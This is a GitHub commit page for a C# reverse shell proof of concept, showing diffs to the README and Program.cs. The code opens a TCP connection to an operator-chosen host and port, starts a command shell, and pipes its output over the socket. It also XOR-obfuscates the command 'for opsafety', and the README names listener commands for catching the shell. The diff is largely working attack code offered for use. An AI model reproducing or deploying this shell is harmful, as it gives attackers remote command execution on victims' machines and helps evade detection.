Skip to content

Commit 87383db

Browse files
author
0xvm
committed
un-fuckup the reposiroty
1 parent 0c39ec0 commit 87383db

4 files changed

Lines changed: 15 additions & 17 deletions

File tree

README.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
# csharp_reverse_shell
2-
c# reverse shell poc
2+
c# reverse shell poc that also does TLS
33

4-
Executes whatever is set in the specified environment variable (3rd argument),
4+
Specify host, port, command, arguments, int XOR
55

6-
The environment variable can also be passed as an XORed string with an integer (4th argument) for opsafety --yeah right
6+
Catch it with ncat --ssl or socat openssl-listen:443,cert=cert.pem,verify=0
77

88
All arguments are required,
99

10-
e.g > csharp_reverse_shell.exe 192.168.205.13 443 comspec 00
10+
e.g > csharp_reverse_shell.exe host 443 %comspec% "" 00

csharp_reverse_shell/Program.cs

Lines changed: 11 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
using System;
1+
using System;
22
using System.Text;
33
using System.IO;
44
using System.Diagnostics;
@@ -17,16 +17,18 @@ private static void Main(string[] args)
1717
string host = args[0];
1818
int port = Int32.Parse(args[1]);
1919
string envvar = args[2];
20-
int xorkey = Int32.Parse(args[3]);
20+
string arguments = args[3];
21+
int xorkey = Int32.Parse(args[4]);
22+
2123

2224
string envvar1 = "";
2325
for (int i = 0; i < envvar.Length; i++)
2426
{
2527
char c = (char)(envvar[i] ^ xorkey);
26-
envvar1 = envvar1 + c;
28+
envvar1 += c;
2729
}
2830

29-
Console.WriteLine("executing whatever is set in '{0}' pointing to {1}:{2}", envvar1,host,port);
31+
Console.WriteLine("executing {0} {3} and redirecting stdout / stderr to {1}:{2}", envvar1, host, port, arguments);
3032

3133
using (TcpClient client = new TcpClient(host, port))
3234
{
@@ -38,9 +40,9 @@ private static void Main(string[] args)
3840
streamWriter = new StreamWriter(stream);
3941
StringBuilder strInput = new StringBuilder();
4042
Process p = new Process();
41-
//p.StartInfo.FileName = System.Environment.GetEnvironmentVariable("COMSPEC");
42-
p.StartInfo.FileName = System.Environment.GetEnvironmentVariable(envvar1);
43-
//p.StartInfo.FileName = envvar1;
43+
//p.StartInfo.FileName = System.Environment.GetEnvironmentVariable(envvar1);
44+
p.StartInfo.FileName = envvar1;
45+
p.StartInfo.Arguments = arguments;
4446
p.StartInfo.CreateNoWindow = true;
4547
p.StartInfo.UseShellExecute = false;
4648
p.StartInfo.RedirectStandardOutput = true;
@@ -60,9 +62,6 @@ private static void Main(string[] args)
6062
}
6163
}
6264
}
63-
64-
// Let's at least try to be kind :)
65-
client.Close();
6665
}
6766
}
6867

@@ -83,7 +82,7 @@ private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEven
8382
streamWriter.WriteLine(strOutput);
8483
streamWriter.Flush();
8584
}
86-
catch (Exception err) { }
85+
catch (Exception) { }
8786
}
8887
}
8988

@@ -98,7 +97,7 @@ private static void CmdErrorDataHandler(object sendingProcess, DataReceivedEvent
9897
streamWriter.WriteLine(strOutput);
9998
streamWriter.Flush();
10099
}
101-
catch (Exception err) { }
100+
catch (Exception) { }
102101
}
103102
}
104103

512 Bytes
Binary file not shown.

csharp_reverse_shell/csharp_reverse_shell.csproj

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -89,7 +89,6 @@
8989
</ItemGroup>
9090
<ItemGroup>
9191
<None Include="App.config" />
92-
<None Include="csharp_reverse_shell_TemporaryKey.pfx" />
9392
<None Include="Properties\app.manifest" />
9493
</ItemGroup>
9594
<ItemGroup>

0 commit comments

Comments
 (0)